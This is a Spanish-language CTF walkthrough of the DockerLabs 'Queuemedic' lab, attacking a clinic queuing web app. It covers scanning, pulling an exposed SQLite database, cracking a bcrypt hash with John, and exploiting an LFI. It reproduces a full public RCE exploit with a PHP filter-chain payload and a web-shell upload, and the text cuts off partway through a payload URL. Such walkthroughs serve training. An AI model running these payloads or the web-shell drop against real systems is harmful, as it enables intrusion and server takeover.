> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/queuemedic.md).

# Queuemedic

<details>

<summary>Datos</summary>

* **Máquina** -> Queuemedic
* **Dificultad** -> Difícil
* **Creador** -> [b0ysie7e](https://b0ysie7e.github.io/)

</details>

Después de desplegar el Laboratorio, podemos verificar rápidamente conectividad con el contenedor de la siguiente manera:

```bash
ping -c 1 172.17.0.2 -R
```

**Resultado**

```js
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.073 ms
RR: 	172.17.0.1
        172.17.0.2
        172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms
```

Como podemos ver, ningún paquete se perdió, ademas de que mediante el `TTL` que es **64** podemos intuir que es un sistema **Linux**, ahora creamos las carpetas de trabajo con el comando `mkt`, luego entramos a `recognition/nmap` y empezamos con el siguiente escaneo:

```bash
nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v -oN targeted.txt 172.17.0.2
```

**Resultado (Contenido de `targeted.txt`)**

```js
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 18:27:30 2025 -- 1 IP address (1 host up) scanned in 7.82 seconds
```

El resultado de `nmap` nos muestra información interesante sobre la pagina web que corre en el puerto 80, vemos que hay un **Login** en la pagina de inicio manejado por el archivo `login.php`, vemos falta de cabeceras de seguridad y la versión de `Apache 2.4.52`, ahora podemos ir a ver la pagina web.

> Si queremos más información sobre la pagina web podemos usar `Whatweb`.

```bash
whatweb 172.17.0.2
```

**Resultado**

```ruby
http://172.17.0.2 [302 Found] Apache[2.4.52], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], RedirectLocation[./login.php]
http://172.17.0.2/login.php [200 OK] Apache[2.4.52], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], JQuery[3.6.0], PHP, PasswordField[password], Script, Title[LOGIN | Clinic Queuing System], X-UA-Compatible[IE=edge]
```

Donde podemos ver la redirección que se hace si no estamos **Logeados**.

**Pagina web**

<figure><img src="/files/epYgbPkRBmCMch4EYLlP" alt=""><figcaption></figcaption></figure>

Podemos apreciar una pagina de **Login**, también tenemos un apartado al lado izquierdo del botón de **Login** el cual lleva a `patient_side.php`, en este punto antes que nada vamos a hacer **Fuzzing** con **FeroxBuster**.

> Empezamos con el siguiente escaneo.

```bash
feroxbuster --url http://172.17.0.2/ -w /WordLists/directory-list-2.3-medium.txt -t 200
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2/
 🚀  Threads               │ 200
 📖  Wordlist              │ /WordLists/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        0l        0w        0c http://172.17.0.2/ => ./login.php
301      GET        9l       28w      306c http://172.17.0.2/css => http://172.17.0.2/css/
200      GET        1l     6804w   105151c http://172.17.0.2/css/bootstrap-reboot.rtl.css.map
200      GET        1l    11998w   192214c http://172.17.0.2/css/bootstrap-utilities.rtl.css.map
200      GET        7l     1994w   162720c http://172.17.0.2/css/bootstrap.min.css
200      GET      427l      680w     5850c http://172.17.0.2/css/bootstrap-reboot.css
200      GET        8l       65w     4646c http://172.17.0.2/css/bootstrap-reboot.min.css
200      GET      424l      675w     5827c http://172.17.0.2/css/bootstrap-reboot.rtl.css
200      GET     4857l     7719w    71451c http://172.17.0.2/css/bootstrap-utilities.rtl.css
200      GET        7l       91w    53479c http://172.17.0.2/css/bootstrap-utilities.min.css
301      GET        9l       28w      305c http://172.17.0.2/db => http://172.17.0.2/db/
301      GET        9l       28w      305c http://172.17.0.2/js => http://172.17.0.2/js/
200      GET        7l     1019w    78468c http://172.17.0.2/js/bootstrap.bundle.min.js
200      GET        2l     1294w    89501c http://172.17.0.2/js/jquery-3.6.0.min.js
200      GET        7l      758w    72016c http://172.17.0.2/js/bootstrap.esm.min.js
200      GET       33l       72w      937c http://172.17.0.2/js/script.js
200      GET        1l    36083w   536547c http://172.17.0.2/css/bootstrap.css.map
200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
200      GET        1l     3670w    41570c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css.map
200      GET     6780l    18269w   208492c http://172.17.0.2/js/bootstrap.bundle.js
301      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/
200      GET        1l    19057w   425643c http://172.17.0.2/js/bootstrap.bundle.js.map
200      GET        1l    11809w   288320c http://172.17.0.2/js/bootstrap.esm.js.map
200      GET        1l    11874w   217145c http://172.17.0.2/js/bootstrap.min.js.map
200      GET     5026l    12057w   148168c http://172.17.0.2/js/bootstrap.js
200      GET        1l    11810w   222508c http://172.17.0.2/js/bootstrap.esm.min.js.map
200      GET        7l      316w    51319c http://172.17.0.2/css/bootstrap-grid.min.css
200      GET        7l      316w    51394c http://172.17.0.2/css/bootstrap-grid.rtl.min.css
200      GET        1l     9263w   117439c http://172.17.0.2/css/bootstrap-grid.min.css.map
200      GET     4996l     7929w    70612c http://172.17.0.2/css/bootstrap-grid.rtl.css
200      GET     4997l     7929w    70538c http://172.17.0.2/css/bootstrap-grid.css
200      GET        1l     9263w   117516c http://172.17.0.2/css/bootstrap-grid.rtl.min.css.map
200      GET     4866l     7734w    71584c http://172.17.0.2/css/bootstrap-utilities.css
200      GET        1l     3196w    35330c http://172.17.0.2/css/bootstrap-reboot.min.css.map
200      GET    11197l    21124w   203803c http://172.17.0.2/css/bootstrap.rtl.css
200      GET        1l     6804w   105138c http://172.17.0.2/css/bootstrap-reboot.css.map
200      GET        1l     8418w   111875c http://172.17.0.2/css/bootstrap-utilities.min.css.map
200      GET        1l    12876w   196535c http://172.17.0.2/css/bootstrap-grid.css.map
200      GET        1l    11998w   192271c http://172.17.0.2/css/bootstrap-utilities.css.map
200      GET        1l     8407w   111710c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css.map
200      GET        8l       65w     4718c http://172.17.0.2/css/bootstrap-reboot.rtl.min.css
200      GET      110l      220w     2307c http://172.17.0.2/css/custom.css
200      GET        1l    19058w   327261c http://172.17.0.2/js/bootstrap.bundle.min.js.map
200      GET        6l      275w    18873c http://172.17.0.2/js/popper.min.js
200      GET        1l    12876w   196539c http://172.17.0.2/css/bootstrap-grid.rtl.css.map
200      GET     5164l    33046w  2601804c http://172.17.0.2/backup/backup.zip
200      GET        7l      756w    59511c http://172.17.0.2/js/bootstrap.min.js
200      GET     4977l    11935w   139019c http://172.17.0.2/js/bootstrap.esm.js
200      GET        1l    11873w   289522c http://172.17.0.2/js/bootstrap.js.map
200      GET        1l    50920w   661035c http://172.17.0.2/css/bootstrap.rtl.min.css.map
200      GET        7l       91w    53407c http://172.17.0.2/css/bootstrap-utilities.rtl.min.css
200      GET    11221l    21180w   204136c http://172.17.0.2/css/bootstrap.css
200      GET        1l    32718w   449111c http://172.17.0.2/css/bootstrap.min.css.map
200      GET        1l    36083w   536461c http://172.17.0.2/css/bootstrap.rtl.css.map
200      GET        7l     1994w   162825c http://172.17.0.2/css/bootstrap.rtl.min.css
[####################] - 20s   220599/220599  0s      found:55      errors:1      
[####################] - 20s   220545/220545  10939/s http://172.17.0.2/ 
[####################] - 4s    220545/220545  52990/s http://172.17.0.2/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s    220545/220545  1282238/s http://172.17.0.2/db/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 3s    220545/220545  79533/s http://172.17.0.2/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 2s    220545/220545  96815/s http://172.17.0.2/backup/ => Directory listing (add --scan-dir-listings to scan)
```

> También se investigo el nombre **Clinic Queuing System** en `searchsploit` el cual nos arrojo un **RCE**, que no funciono.

<figure><img src="/files/O4q4NpymXIAB4FFUXXyv" alt=""><figcaption></figcaption></figure>

Regresando al **Fuzzing**, vemos bastantes enlaces, pero nos llama la atención 2 lineas en particular:

```js
200      GET       21l      115w    16406c http://172.17.0.2/db/clinic_queuing_db.db
```

```js
01      GET        9l       28w      309c http://172.17.0.2/backup => http://172.17.0.2/backup/
```

El enlace `http://172.17.0.2/db/clinic_queuing_db.db` nos descarga un archivo, probablemente alguna información sobre una base de datos, el contenido de dicho archivo (binario) es el siguiente:

```bash
cat clinic_queuing_db.db
```

**Resultado**

```js
SQLite format 3@  .WJ
�V
  ��Q%%�etablepatient_listpatient_listCREATE TABLE `patient_list` (
            `patient_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `queue_no` TEXT NOT NULL,
            `fullname` INTEGER NOT NULL,
            `address` TEXT NOT NULL,
            `contact` TEXT NOT NULL,
            `age` INTEGER NOT NULL,
            `weight` FLOAT NOT NULL Default 0,
            `bp_rate` TEXT NULL,
            `status` TINYINT(2) NOT NULL Default 0,
            `notify` TINYINT(2) NOT NULL Default 1,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�'�tableuser_listuser_listCREATE TABLE `user_list` (
            `user_id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
            `fullname` INTEGER NOT NULL,
            `username` TEXT NOT NULL,
            `password` TEXT NOT NULL,
            `type` TINYINT(1) NOT NULL Default 0,
            `status` TINYINT(1) NOT NULL Default 0,
            `date_created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
%�%m	)		3Jessica Castrojessica$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK2024-09-20 14:15:46j	'�		3Administratoradmin$2y
```

También podemos leerlo con `sqlite3` de la siguiente manera:

```js
sqlite3 clinic_queuing_db.db
```

**Resultado**

<figure><img src="/files/V9S2oaQ7ZrmExxmK59UL" alt=""><figcaption></figcaption></figure>

Podemos ver información sensible dentro de este archivo, por ejemplo: hay un usuario llamado **jessica** ademas de un `hash` que posiblemente sean credenciales de algún lado, como el panel de **Login** que vimos anteriormente, intentemos descifrar ese `hash`:

* Lo primero que aremos es meter la parte del `hash` importante en un archivo con nombre `hash.txt`.

```bash
echo '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK' > hash.txt
```

* Luego usaremos `Hashid` para determinar que tipo de cifrado es.

```bash
hashid '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'
```

**Resultado**

```js
Analyzing '$2y$10$iDHQftaCCEPmdPj/11E3DOGiw3AsOPf6uYBpEAuh8J19oeGuloJIK'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt
```

* La herramienta dice que lo más probable es que sea `Blowfish` o `bcrypt` así que usaremos **John the Ripper** para hacer fuerza bruta al `hash.txt`

```js
john --format=bcrypt --wordlist=/WordLists/rockyou.txt hash.txt 
```

**Resultado**

```js
[Karonte:615668] shmem: mmap: an error occurred while determining whether or not /tmp/ompi.Karonte.0/jf.0/154009600/shared_mem_cuda_pool.Karonte could be created.
[Karonte:615668] create_and_attach: unable to create shared memory BTL coordinating structure :: size 134217728 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
j.castro         (?)
1g 0:00:00:01 DONE (2025-03-23 22:49) 0.6993g/s 75.52p/s 75.52c/s 75.52C/s shadow..thomas
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Como podemos ver en los resultados la contraseña es `j.castro` con usuario `jessica`, con estas credenciales podemos entrar a `Clinic Queuing System`.

> La contraseña `j.castro` aunque se encuentra en la **Wordlist** `rockyou.txt` lo ideal es usar otra técnica, ya que puede tomar un poco de tiempo si usamos el `rockyou.txt`, por ejemplo, podemos usar [username-anarchy-master](https://github.com/urbanadventurer/username-anarchy.git), podemos aprovechar el echo de que tenemos el nombre y el apellido de un usuario legitimo, después de instalar correctamente `username-anarchy` podemos ejecutar el siguiente comando:

```js
username-anarchy -i UserList.txt > wordlist.txt
```

**Resultado**

<figure><img src="/files/irayEVzfN4Eysz29Pktb" alt=""><figcaption></figcaption></figure>

Como vemos, `username-anarchy` pudo crear una combinación correcta según el nombre y el apellido del usuario en este caso `UserList.txt` contiene `Jessica Castro`.

Viendo un poco la pagina no veo nada extraño, si recordamos anteriormente haciendo **Fuzzing** encontramos la base de datos y un archivo `zip`, el cual dice ser un `backup`, lo descargamos y vemos que contiene la estructura interna del servidor, contiene cada archivo que compone la pagina web de `Clinic Queuing System`.

Anteriormente utilizando `searchsploit` encontramos que la pagina, era vulnerable al **CVE-2024-0264**, esta vulnerabilidad radicaba en que la pagina web no realizaba una debida validación del `token` en `./LoginRegistration.php` pero en el `backup` vemos que esta vulnerabilidad fue parcheada ya que agregaron la siguiente linea:

```php
if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken) || (isset($formToken) && $formToken==='')){
```

Solucionando el problema de validación, `searchsploit` en el mismo **exploit** nos mostraba la vulnerabilidad **CVE-2024-0265**, esta vulnerabilidad radica en el siguiente pedazo de código:

```php
<?php include($page.".php");  ?>
```

> Linea 82 dentro de `index.php`

La linea 82 representa una vulnerabilidad de inclusión de archivos locales (LFI, **Local File Inclusion**) porque permite a un atacante manipular el valor de `$_GET['page']` para incluir archivos arbitrarios en el servidor.

El valor de `$page` proviene de un parámetro `GET`, esto significa que un atacante puede modificar la `URL` para controlar el contenido de `$page`, como resultado la pagina web intentará incluir cualquier archivo cuyo nombre coincida con la entrada proporcionada en `$_GET['page']`.

**Por ejemplo:**

```python
http://ejemplo.com/index.php?page=patients
```

Cargará `patients.php`. Sin embargo, un atacante podría intentar algo más peligroso:

```python
http://ejemplo.com/index.php?page=../../etc/passwd
```

Esto resultaría en:

```php
include("../../etc/passwd.php");
```

Si `allow_url_include` está habilitado y la extensión `.php` no está estrictamente aplicada, un atacante podría leer archivos arbitrarios, ahora bien el exploit que nos da `searchsploit` es el siguiente:

```python
# Exploit Title: Clinic Queuing System 1.0 RCE
# Date: 2024/1/7
# Exploit Author: Juan Marco Sanchez
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html
# Version: 1.0
# Tested on: Debian Linux Apache Web Server
# CVE: CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1(): # CVE-2024-0264
	rand_user = 'pwn_'+str(random.randint(100, 313))
	rand_pass = 'pwn_'+str(random.randint(100, 313))
	pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
	print("[*] adding administrator " + rand_user + ":" + rand_pass)
	phase1 = requests.post(phase1_url, pwn_user_data)
	if "User Account has been added successfully." in phase1.text:
		print("[+] Phase 1 Success - Admin user added!\n")
		print("[*] Initiating Phase 2")
		phase2(rand_user, rand_pass)
	else:
		print("[X] user creation failed :(")
		die()

def phase2(user, password): # CVE-2024-0265
	s = requests.Session();
	login_data = {'formToken':'','username':user, 'password':password}
	print("[*] Loggin in....")
	phase2 = s.post(phase2_url, login_data)

	if "Login successfully." in phase2.text:
		print("[+] Login success")
	else:
		print("[X] Login failed.")
		die()

	print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
	rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
	#print("[*] Payload: " + rce_url)
	rce = s.get(rce_url)

	if "jmrcsnchz" in rce.text:
		print("[+] RCE success!")
		soup = BeautifulSoup(rce.text, 'html.parser')
		print("[+] Output of id: " + soup.pre.get_text())
		print("[*] Uploading php backdoor....")
		s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
		print("[+] Access at " + base_url + "/rce.php?0=whoami")
	else:
		print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
		die()

try:
	print("[*] Initiating Phase 1")
	phase1()
except:
	print("Exploit failed.")
```

Si lo analizamos podemos ver que un requisito es tener un usuario y una contraseña, lo cual ya tenemos, lógicamente tenemos que hacer uso del `token` para hacer las peticiones, las lineas clave son:

```php
rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
```

Esta linea comprueba la ejecución del código y esta otra linea:

```php
s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
```

Sube un archivo `rce.php` en la ruta actual del sitio web, así que probaremos esto, enviaremos la siguiente petición `GET`:

```python
http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';
```

**Resultado**

<figure><img src="/files/VHnJdPaRLrR7PUEF6UXZ" alt=""><figcaption></figcaption></figure>

Y efectivamente podemos ejecutar comandos en el servidor, ahora subamos el `rce.php`.

```python
http://172.17.0.2/?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8